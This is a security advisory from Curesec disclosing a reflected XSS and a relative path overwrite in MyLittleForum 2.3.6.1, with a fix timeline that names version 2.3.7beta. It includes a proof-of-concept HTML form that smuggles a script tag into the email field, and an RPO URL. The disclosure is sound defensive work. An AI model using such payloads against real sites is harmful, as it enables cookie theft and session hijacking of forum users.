MyLittleForum 2.3.6.1 XSS / Path Overwrite
Posted on 19 November 2016
Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyLittleForum 2.3.6.1 Fixed in: 2.3.7beta Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/ v2.3.7beta Vendor Website: http://mylittleforum.net/ Vulnerability Type: XSS & RPO Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to 11/10/2016 public: Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is vulnerable to reflected cross site scripting as well as relative path overwrite. XSS can be used to steal cookies, inject JavaScript keyloggers, or bypass CSRF protection, and RPO may lead to CSS injection. 3. Details Reflected XSS CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description: The username and email parameter of the add user page are vulnerable to reflected XSS. Proof of Concept: <html> <body> <form action="http://localhost/mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name="mode" value="admin" /> <input type= "hidden" name="ar_username" value="test" /> <input type="hidden" name= "ar_email" value="test@example.comle3d4"><script>alert(1)</script>" /> <input type="hidden" name="ar_pw" value="test" /> <input type="hidden" name= "ar_pw_conf" value="test" /> <input type="hidden" name="register_submit" value= "i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </ html> Relative Path Overwrite Description: Because the application includes CSS files relative instead of absolute, an attacker can overwrite the path. With some browsers, this may lead to CSS injection. Proof of Concept: http://localhost/mylittleforum-2.3.6.1/index.php////?id=1 4. Solution To mitigate this issue please upgrade at least to version 2.3.7beta: https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta Please note that a newer version might already be available. 5. Report Timeline 09/05/2015 Informed Vendor about Issue (no reply) 09/15/2015 Reminded Vendor of Disclosure Date 09/15/2015 Vendor replies 10/04/2015 Vendor releases fix 11/10/2016 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/MyLittleForum-2361-XSS-amp-RPO-179.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-StraAe 54 10365 Berlin, Germany